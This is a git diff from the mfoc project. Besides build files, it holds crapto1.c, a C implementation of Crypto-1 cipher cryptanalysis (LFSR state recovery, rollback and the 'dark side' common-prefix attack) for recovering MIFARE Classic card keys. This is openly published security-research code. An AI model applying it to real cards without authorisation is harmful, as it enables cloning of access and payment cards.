*.l)
|
||||||
|
SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'`
|
||||||
|
if test -f "$SRCFILE"; then
|
||||||
|
cp "$SRCFILE" lex.yy.c
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
if test ! -f lex.yy.c; then
|
||||||
|
echo 'main() { return 0; }' >lex.yy.c
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
help2man)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified a dependency of a manual page. You may need the
|
||||||
|
\`Help2man' package in order for those modifications to take
|
||||||
|
effect. You can get \`Help2man' from any GNU archive site."
|
||||||
|
|
||||||
|
file=`echo "$*" | sed -n "$sed_output"`
|
||||||
|
test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
|
||||||
|
if test -f "$file"; then
|
||||||
|
touch $file
|
||||||
|
else
|
||||||
|
test -z "$file" || exec >$file
|
||||||
|
echo ".ab help2man is required to generate this page"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
makeinfo)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified a \`.texi' or \`.texinfo' file, or any other file
|
||||||
|
indirectly affecting the aspect of the manual. The spurious
|
||||||
|
call might also be the consequence of using a buggy \`make' (AIX,
|
||||||
|
DU, IRIX). You might want to install the \`Texinfo' package or
|
||||||
|
the \`GNU make' package. Grab either from any GNU archive site."
|
||||||
|
# The file to touch is that specified with -o ...
|
||||||
|
file=`echo "$*" | sed -n "$sed_output"`
|
||||||
|
test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
|
||||||
|
if test -z "$file"; then
|
||||||
|
# ... or it is the one specified with @setfilename ...
|
||||||
|
infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'`
|
||||||
|
file=`sed -n '
|
||||||
|
/^@setfilename/{
|
||||||
|
s/.* \([^ ]*\) *$/\1/
|
||||||
|
p
|
||||||
|
q
|
||||||
|
}' $infile`
|
||||||
|
# ... or it is derived from the source name (dir/f.texi becomes f.info)
|
||||||
|
test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info
|
||||||
|
fi
|
||||||
|
# If the file does not exist, the user really needs makeinfo;
|
||||||
|
# let's fail without touching anything.
|
||||||
|
test -f $file || exit 1
|
||||||
|
touch $file
|
||||||
|
;;
|
||||||
|
|
||||||
|
tar)
|
||||||
|
shift
|
||||||
|
|
||||||
|
# We have already tried tar in the generic part.
|
||||||
|
# Look for gnutar/gtar before invocation to avoid ugly error
|
||||||
|
# messages.
|
||||||
|
if (gnutar --version > /dev/null 2>&1); then
|
||||||
|
gnutar "$@" && exit 0
|
||||||
|
fi
|
||||||
|
if (gtar --version > /dev/null 2>&1); then
|
||||||
|
gtar "$@" && exit 0
|
||||||
|
fi
|
||||||
|
firstarg="$1"
|
||||||
|
if shift; then
|
||||||
|
case $firstarg in
|
||||||
|
*o*)
|
||||||
|
firstarg=`echo "$firstarg" | sed s/o//`
|
||||||
|
tar "$firstarg" "$@" && exit 0
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
case $firstarg in
|
||||||
|
*h*)
|
||||||
|
firstarg=`echo "$firstarg" | sed s/h//`
|
||||||
|
tar "$firstarg" "$@" && exit 0
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: I can't seem to be able to run \`tar' with the given arguments.
|
||||||
|
You may want to install GNU tar or Free paxutils, or check the
|
||||||
|
command line arguments."
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is needed, and is $msg.
|
||||||
|
You might have modified some files without having the
|
||||||
|
proper tools for further handling them. Check the \`README' file,
|
||||||
|
it often tells you about the needed prerequisites for installing
|
||||||
|
this package. You may also peek at any GNU archive site, in case
|
||||||
|
some other package would contain this missing \`$1' program."
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
exit 0
|
||||||
|
|
||||||
|
# Local variables:
|
||||||
|
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||||
|
# time-stamp-start: "scriptversion="
|
||||||
|
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||||
|
# time-stamp-end: "$"
|
||||||
|
# End:
|
7
src/Makefile.am
Normal file
7
src/Makefile.am
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
bin_PROGRAMS = mfoc
|
||||||
|
|
||||||
|
# set the include path found by configure
|
||||||
|
mfoc_SOURCES = mfoc.c crapto1.c crypto1.c
|
||||||
|
mfoc_LDADD = -lnfc
|
||||||
|
|
||||||
|
# dist_man_MANS = mfoc.1
|
487
src/crapto1.c
Normal file
487
src/crapto1.c
Normal file
|
@ -0,0 +1,487 @@
|
||||||
|
/* crapto1.c
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
as published by the Free Software Foundation; either version 2
|
||||||
|
of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor,
|
||||||
|
Boston, MA 02110-1301, US$
|
||||||
|
|
||||||
|
Copyright (C) 2008-2008 bla <blapost@gmail.com>
|
||||||
|
*/
|
||||||
|
#include "crapto1.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#if !defined LOWMEM && defined __GNUC__
|
||||||
|
static uint8_t filterlut[1 << 20];
|
||||||
|
static void __attribute__((constructor)) fill_lut()
|
||||||
|
{
|
||||||
|
uint32_t i;
|
||||||
|
for(i = 0; i < 1 << 20; ++i)
|
||||||
|
filterlut[i] = filter(i);
|
||||||
|
}
|
||||||
|
#define filter(x) (filterlut[(x) & 0xfffff])
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void quicksort(uint32_t* const start, uint32_t* const stop)
|
||||||
|
{
|
||||||
|
uint32_t *it = start + 1, *rit = stop;
|
||||||
|
|
||||||
|
if(it > rit)
|
||||||
|
return;
|
||||||
|
|
||||||
|
while(it < rit)
|
||||||
|
if(*it <= *start)
|
||||||
|
++it;
|
||||||
|
else if(*rit > *start)
|
||||||
|
--rit;
|
||||||
|
else
|
||||||
|
*it ^= (*it ^= *rit, *rit ^= *it);
|
||||||
|
|
||||||
|
if(*rit >= *start)
|
||||||
|
--rit;
|
||||||
|
if(rit != start)
|
||||||
|
*rit ^= (*rit ^= *start, *start ^= *rit);
|
||||||
|
|
||||||
|
quicksort(start, rit - 1);
|
||||||
|
quicksort(rit + 1, stop);
|
||||||
|
}
|
||||||
|
/** binsearch
|
||||||
|
* Binary search for the first occurence of *stop's MSB in sorted [start,stop]
|
||||||
|
*/
|
||||||
|
static inline uint32_t*
|
||||||
|
binsearch(uint32_t *start, uint32_t *stop)
|
||||||
|
{
|
||||||
|
uint32_t mid, val = *stop & 0xff000000;
|
||||||
|
while(start != stop)
|
||||||
|
if(start[mid = (stop - start) >> 1] > val)
|
||||||
|
stop = &start[mid];
|
||||||
|
else
|
||||||
|
start += mid + 1;
|
||||||
|
|
||||||
|
return start;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** update_contribution
|
||||||
|
* helper, calculates the partial linear feedback contributions and puts in MSB
|
||||||
|
*/
|
||||||
|
static inline void
|
||||||
|
update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)
|
||||||
|
{
|
||||||
|
uint32_t p = *item >> 25;
|
||||||
|
|
||||||
|
p = p << 1 | parity(*item & mask1);
|
||||||
|
p = p << 1 | parity(*item & mask2);
|
||||||
|
*item = p << 24 | (*item & 0xffffff);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** extend_table
|
||||||
|
* using a bit of the keystream extend the table of possible lfsr states
|
||||||
|
*/
|
||||||
|
static inline void
|
||||||
|
extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)
|
||||||
|
{
|
||||||
|
in <<= 24;
|
||||||
|
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
|
||||||
|
if(filter(*tbl) ^ filter(*tbl | 1)) {
|
||||||
|
*tbl |= filter(*tbl) ^ bit;
|
||||||
|
update_contribution(tbl, m1, m2);
|
||||||
|
*tbl ^= in;
|
||||||
|
} else if(filter(*tbl) == bit) {
|
||||||
|
*++*end = tbl[1];
|
||||||
|
tbl[1] = tbl[0] | 1;
|
||||||
|
update_contribution(tbl, m1, m2);
|
||||||
|
*tbl++ ^= in;
|
||||||
|
update_contribution(tbl, m1, m2);
|
||||||
|
*tbl ^= in;
|
||||||
|
} else
|
||||||
|
*tbl-- = *(*end)--;
|
||||||
|
}
|
||||||
|
/** extend_table_simple
|
||||||
|
* using a bit of the keystream extend the table of possible lfsr states
|
||||||
|
*/
|
||||||
|
static inline void
|
||||||
|
extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)
|
||||||
|
{
|
||||||
|
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
|
||||||
|
if(filter(*tbl) ^ filter(*tbl | 1)) {
|
||||||
|
*tbl |= filter(*tbl) ^ bit;
|
||||||
|
} else if(filter(*tbl) == bit) {
|
||||||
|
*++*end = *++tbl;
|
||||||
|
*tbl = tbl[-1] | 1;
|
||||||
|
} else
|
||||||
|
*tbl-- = *(*end)--;
|
||||||
|
}
|
||||||
|
/** recover
|
||||||
|
* recursively narrow down the search space, 4 bits of keystream at a time
|
||||||
|
*/
|
||||||
|
static struct Crypto1State*
|
||||||
|
recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,
|
||||||
|
uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,
|
||||||
|
struct Crypto1State *sl, uint32_t in)
|
||||||
|
{
|
||||||
|
uint32_t *o, *e, i;
|
||||||
|
|
||||||
|
if(rem == -1) {
|
||||||
|
for(e = e_head; e <= e_tail; ++e) {
|
||||||
|
*e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);
|
||||||
|
for(o = o_head; o <= o_tail; ++o, ++sl) {
|
||||||
|
sl->even = *o;
|
||||||
|
sl->odd = *e ^ parity(*o & LF_POLY_ODD);
|
||||||
|
sl[1].odd = sl[1].even = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sl;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0; i < 4 && rem--; i++) {
|
||||||
|
extend_table(o_head, &o_tail, (oks >>= 1) & 1,
|
||||||
|
LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0);
|
||||||
|
if(o_head > o_tail)
|
||||||
|
return sl;
|
||||||
|
|
||||||
|
extend_table(e_head, &e_tail, (eks >>= 1) & 1,
|
||||||
|
LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3);
|
||||||
|
if(e_head > e_tail)
|
||||||
|
return sl;
|
||||||
|
}
|
||||||
|
|
||||||
|
quicksort(o_head, o_tail);
|
||||||
|
quicksort(e_head, e_tail);
|
||||||
|
|
||||||
|
while(o_tail >= o_head && e_tail >= e_head)
|
||||||
|
if(((*o_tail ^ *e_tail) >> 24) == 0) {
|
||||||
|
o_tail = binsearch(o_head, o = o_tail);
|
||||||
|
e_tail = binsearch(e_head, e = e_tail);
|
||||||
|
sl = recover(o_tail--, o, oks,
|
||||||
|
e_tail--, e, eks, rem, sl, in);
|
||||||
|
}
|
||||||
|
else if(*o_tail > *e_tail)
|
||||||
|
o_tail = binsearch(o_head, o_tail) - 1;
|
||||||
|
else
|
||||||
|
e_tail = binsearch(e_head, e_tail) - 1;
|
||||||
|
|
||||||
|
return sl;
|
||||||
|
}
|
||||||
|
/** lfsr_recovery
|
||||||
|
* recover the state of the lfsr given 32 bits of the keystream
|
||||||
|
* additionally you can use the in parameter to specify the value
|
||||||
|
* that was fed into the lfsr at the time the keystream was generated
|
||||||
|
*/
|
||||||
|
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)
|
||||||
|
{
|
||||||
|
struct Crypto1State *statelist;
|
||||||
|
uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;
|
||||||
|
uint32_t *even_head = 0, *even_tail = 0, eks = 0;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for(i = 31; i >= 0; i -= 2)
|
||||||
|
oks = oks << 1 | BEBIT(ks2, i);
|
||||||
|
for(i = 30; i >= 0; i -= 2)
|
||||||
|
eks = eks << 1 | BEBIT(ks2, i);
|
||||||
|
|
||||||
|
odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);
|
||||||
|
even_head = even_tail = malloc(sizeof(uint32_t) << 21);
|
||||||
|
statelist = malloc(sizeof(struct Crypto1State) << 18);
|
||||||
|
if(!odd_tail-- || !even_tail-- || !statelist)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
statelist->odd = statelist->even = 0;
|
||||||
|
|
||||||
|
for(i = 1 << 20; i >= 0; --i) {
|
||||||
|
if(filter(i) == (oks & 1))
|
||||||
|
*++odd_tail = i;
|
||||||
|
if(filter(i) == (eks & 1))
|
||||||
|
*++even_tail = i;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0; i < 4; i++) {
|
||||||
|
extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1);
|
||||||
|
extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);
|
||||||
|
recover(odd_head, odd_tail, oks,
|
||||||
|
even_head, even_tail, eks, 11, statelist, in << 1);
|
||||||
|
|
||||||
|
out:
|
||||||
|
free(odd_head);
|
||||||
|
free(even_head);
|
||||||
|
return statelist;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,
|
||||||
|
0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,
|
||||||
|
0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};
|
||||||
|
static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,
|
||||||
|
0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,
|
||||||
|
0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,
|
||||||
|
0x7EC7EE90, 0x7F63F748, 0x79117020};
|
||||||
|
static const uint32_t T1[] = {
|
||||||
|
0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,
|
||||||
|
0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,
|
||||||
|
0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,
|
||||||
|
0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};
|
||||||
|
static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,
|
||||||
|
0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,
|
||||||
|
0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,
|
||||||
|
0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,
|
||||||
|
0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,
|
||||||
|
0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};
|
||||||
|
static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};
|
||||||
|
static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};
|
||||||
|
/** Reverse 64 bits of keystream into possible cipher states
|
||||||
|
* Variation mentioned in the paper. Somewhat optimized version
|
||||||
|
*/
|
||||||
|
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)
|
||||||
|
{
|
||||||
|
struct Crypto1State *statelist, *sl;
|
||||||
|
uint8_t oks[32], eks[32], hi[32];
|
||||||
|
uint32_t low = 0, win = 0;
|
||||||
|
uint32_t *tail, table[1 << 16];
|
||||||
|
int i, j;
|
||||||
|
|
||||||
|
sl = statelist = malloc(sizeof(struct Crypto1State) << 4);
|
||||||
|
if(!sl)
|
||||||
|
return 0;
|
||||||
|
sl->odd = sl->even = 0;
|
||||||
|
|
||||||
|
for(i = 30; i >= 0; i -= 2) {
|
||||||
|
oks[i >> 1] = BIT(ks2, i ^ 24);
|
||||||
|
oks[16 + (i >> 1)] = BIT(ks3, i ^ 24);
|
||||||
|
}
|
||||||
|
for(i = 31; i >= 0; i -= 2) {
|
||||||
|
eks[i >> 1] = BIT(ks2, i ^ 24);
|
||||||
|
eks[16 + (i >> 1)] = BIT(ks3, i ^ 24);
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0xfffff; i >= 0; --i) {
|
||||||
|
if (filter(i) != oks[0])
|
||||||
|
continue;
|
||||||
|
|
||||||
|
*(tail = table) = i;
|
||||||
|
for(j = 1; tail >= table && j < 29; ++j)
|
||||||
|
extend_table_simple(table, &tail, oks[j]);
|
||||||
|
|
||||||
|
if(tail < table)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
for(j = 0; j < 19; ++j)
|
||||||
|
low = low << 1 | parity(i & S1[j]);
|
||||||
|
for(j = 0; j < 32; ++j)
|
||||||
|
hi[j] = parity(i & T1[j]);
|
||||||
|
|
||||||
|
for(; tail >= table; --tail) {
|
||||||
|
for(j = 0; j < 3; ++j) {
|
||||||
|
*tail = *tail << 1;
|
||||||
|
*tail |= parity((i & C1[j]) ^ (*tail & C2[j]));
|
||||||
|
if(filter(*tail) != oks[29 + j])
|
||||||
|
goto continue2;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(j = 0; j < 19; ++j)
|
||||||
|
win = win << 1 | parity(*tail & S2[j]);
|
||||||
|
|
||||||
|
win ^= low;
|
||||||
|
for(j = 0; j < 32; ++j) {
|
||||||
|
win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);
|
||||||
|
if(filter(win) != eks[j])
|
||||||
|
goto continue2;
|
||||||
|
}
|
||||||
|
|
||||||
|
*tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);
|
||||||
|
sl->odd = *tail ^ parity(LF_POLY_ODD & win);
|
||||||
|
sl->even = win;
|
||||||
|
++sl;
|
||||||
|
sl->odd = sl->even = 0;
|
||||||
|
continue2:;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return statelist;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** lfsr_rollback_bit
|
||||||
|
* Rollback the shift register in order to get previous states
|
||||||
|
*/
|
||||||
|
uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)
|
||||||
|
{
|
||||||
|
int out;
|
||||||
|
uint8_t ret;
|
||||||
|
|
||||||
|
s->odd &= 0xffffff;
|
||||||
|
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
|
||||||
|
|
||||||
|
out = s->even & 1;
|
||||||
|
out ^= LF_POLY_EVEN & (s->even >>= 1);
|
||||||
|
out ^= LF_POLY_ODD & s->odd;
|
||||||
|
out ^= !!in;
|
||||||
|
out ^= (ret = filter(s->odd)) & !!fb;
|
||||||
|
|
||||||
|
s->even |= parity(out) << 23;
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
/** lfsr_rollback_byte
|
||||||
|
* Rollback the shift register in order to get previous states
|
||||||
|
*/
|
||||||
|
uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
uint8_t ret = 0;
|
||||||
|
for (i = 7; i >= 0; --i)
|
||||||
|
ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
/** lfsr_rollback_word
|
||||||
|
* Rollback the shift register in order to get previous states
|
||||||
|
*/
|
||||||
|
uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
uint32_t ret = 0;
|
||||||
|
for (i = 31; i >= 0; --i)
|
||||||
|
ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** nonce_distance
|
||||||
|
* x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y
|
||||||
|
*/
|
||||||
|
static uint16_t *dist = 0;
|
||||||
|
int nonce_distance(uint32_t from, uint32_t to)
|
||||||
|
{
|
||||||
|
uint16_t x, i;
|
||||||
|
if(!dist) {
|
||||||
|
dist = malloc(2 << 16);
|
||||||
|
if(!dist)
|
||||||
|
return -1;
|
||||||
|
for (x = i = 1; i; ++i) {
|
||||||
|
dist[(x & 0xff) << 8 | x >> 8] = i;
|
||||||
|
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static uint32_t fastfwd[2][8] = {
|
||||||
|
{ 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},
|
||||||
|
{ 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};
|
||||||
|
|
||||||
|
|
||||||
|
/** lfsr_prefix_ks
|
||||||
|
*
|
||||||
|
* Is an exported helper function from the common prefix attack
|
||||||
|
* Described in the "dark side" paper. It returns an -1 terminated array
|
||||||
|
* of possible partial(21 bit) secret state.
|
||||||
|
* The required keystream(ks) needs to contain the keystream that was used to
|
||||||
|
* encrypt the NACK which is observed when varying only the 4 last bits of Nr
|
||||||
|
* only correct iff [NR_3] ^ NR_3 does not depend on Nr_3
|
||||||
|
*/
|
||||||
|
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)
|
||||||
|
{
|
||||||
|
uint32_t c, entry, *candidates = malloc(4 << 21);
|
||||||
|
int i, size = (1 << 21) - 1;
|
||||||
|
|
||||||
|
if(!candidates)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
for(i = 0; i <= size; ++i)
|
||||||
|
candidates[i] = i;
|
||||||
|
|
||||||
|
for(c = 0; c < 8; ++c)
|
||||||
|
for(i = 0;i <= size; ++i) {
|
||||||
|
entry = candidates[i] ^ fastfwd[isodd][c];
|
||||||
|
|
||||||
|
if(filter(entry >> 1) != BIT(ks[c], isodd) ||
|
||||||
|
filter(entry) != BIT(ks[c], isodd + 2))
|
||||||
|
candidates[i--] = candidates[size--];
|
||||||
|
}
|
||||||
|
|
||||||
|
candidates[size + 1] = -1;
|
||||||
|
|
||||||
|
return candidates;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** check_pfx_parity
|
||||||
|
* helper function which eliminates possible secret states using parity bits
|
||||||
|
*/
|
||||||
|
static struct Crypto1State*
|
||||||
|
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
|
||||||
|
uint32_t odd, uint32_t even, struct Crypto1State* sl)
|
||||||
|
{
|
||||||
|
uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;
|
||||||
|
|
||||||
|
for(c = 0; good && c < 8; ++c) {
|
||||||
|
sl->odd = odd ^ fastfwd[1][c];
|
||||||
|
sl->even = even ^ fastfwd[0][c];
|
||||||
|
|
||||||
|
lfsr_rollback_bit(sl, 0, 0);
|
||||||
|
lfsr_rollback_bit(sl, 0, 0);
|
||||||
|
|
||||||
|
ks3 = lfsr_rollback_bit(sl, 0, 0);
|
||||||
|
ks2 = lfsr_rollback_word(sl, 0, 0);
|
||||||
|
ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);
|
||||||
|
|
||||||
|
nr = ks1 ^ (prefix | c << 5);
|
||||||
|
rr = ks2 ^ rresp;
|
||||||
|
|
||||||
|
good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
|
||||||
|
good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
|
||||||
|
good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8);
|
||||||
|
good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0);
|
||||||
|
good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
|
||||||
|
}
|
||||||
|
|
||||||
|
return sl + good;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/** lfsr_common_prefix
|
||||||
|
* Implentation of the common prefix attack.
|
||||||
|
* Requires the 29 bit constant prefix used as reader nonce (pfx)
|
||||||
|
* The reader response used (rr)
|
||||||
|
* The keystream used to encrypt the observed NACK's (ks)
|
||||||
|
* The parity bits (par)
|
||||||
|
* It returns a zero terminated list of possible cipher states after the
|
||||||
|
* tag nonce was fed in
|
||||||
|
*/
|
||||||
|
struct Crypto1State*
|
||||||
|
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
|
||||||
|
{
|
||||||
|
struct Crypto1State *statelist, *s;
|
||||||
|
uint32_t *odd, *even, *o, *e, top;
|
||||||
|
|
||||||
|
odd = lfsr_prefix_ks(ks, 1);
|
||||||
|
even = lfsr_prefix_ks(ks, 0);
|
||||||
|
|
||||||
|
s = statelist = malloc((sizeof *statelist) << 20);
|
||||||
|
if(!s || !odd || !even) {
|
||||||
|
free(odd);
|
||||||
|
free(even);
|
||||||
|
free(statelist);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(o = odd; *o + 1; ++o)
|
||||||
|
for(e = even; *e + 1; ++e)
|
||||||
|
for(top = 0; top < 64; ++top) {
|
||||||
|
*o += 1 << 21;
|
||||||
|
*e += (!(top & 7) + 1) << 21;
|
||||||
|
s = check_pfx_parity(pfx, rr, par, *o, *e, s);
|
||||||
|
}
|
||||||
|
|
||||||
|
s->odd = s->even = 0;
|
||||||
|
|
||||||
|
free(odd);
|
||||||
|
free(even);
|
||||||
|
|
||||||
|
return statelist;
|
||||||
|
}
|
88
src/crapto1.h
Normal file
88
src/crapto1.h
Normal file
|
@ -0,0 +1,88 @@
|
||||||
|
/* crapto1.h
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
as published by the Free Software Foundation; either version 2
|
||||||
|
of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
||||||
|
MA 02110-1301, US$
|
||||||
|
|
||||||
|
Copyright (C) 2008-2009 bla <blapost@gmail.com>
|
||||||
|
*/
|
||||||
|
#ifndef CRAPTO1_INCLUDED
|
||||||
|
#define CRAPTO1_INCLUDED
|
||||||
|
#include <stdint.h>
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
struct Crypto1State {uint32_t odd, even;};
|
||||||
|
struct Crypto1State* crypto1_create(uint64_t);
|
||||||
|
void crypto1_destroy(struct Crypto1State*);
|
||||||
|
void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
|
||||||
|
uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
|
||||||
|
uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
|
||||||
|
uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
|
||||||
|
uint32_t prng_successor(uint32_t x, uint32_t n);
|
||||||
|
|
||||||
|
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
|
||||||
|
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
|
||||||
|
|
||||||
|
void lfsr_rollback(struct Crypto1State* s, uint32_t in, int fb);
|
||||||
|
int nonce_distance(uint32_t from, uint32_t to);
|
||||||
|
#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
|
||||||
|
uint32_t __n = 0,__M = 0, N = 0;\
|
||||||
|
int __i;\
|
||||||
|
for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
|
||||||
|
for(__i = FSIZE - 1; __i >= 0; __i--)\
|
||||||
|
if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
|
||||||
|
break;\
|
||||||
|
else if(__i)\
|
||||||
|
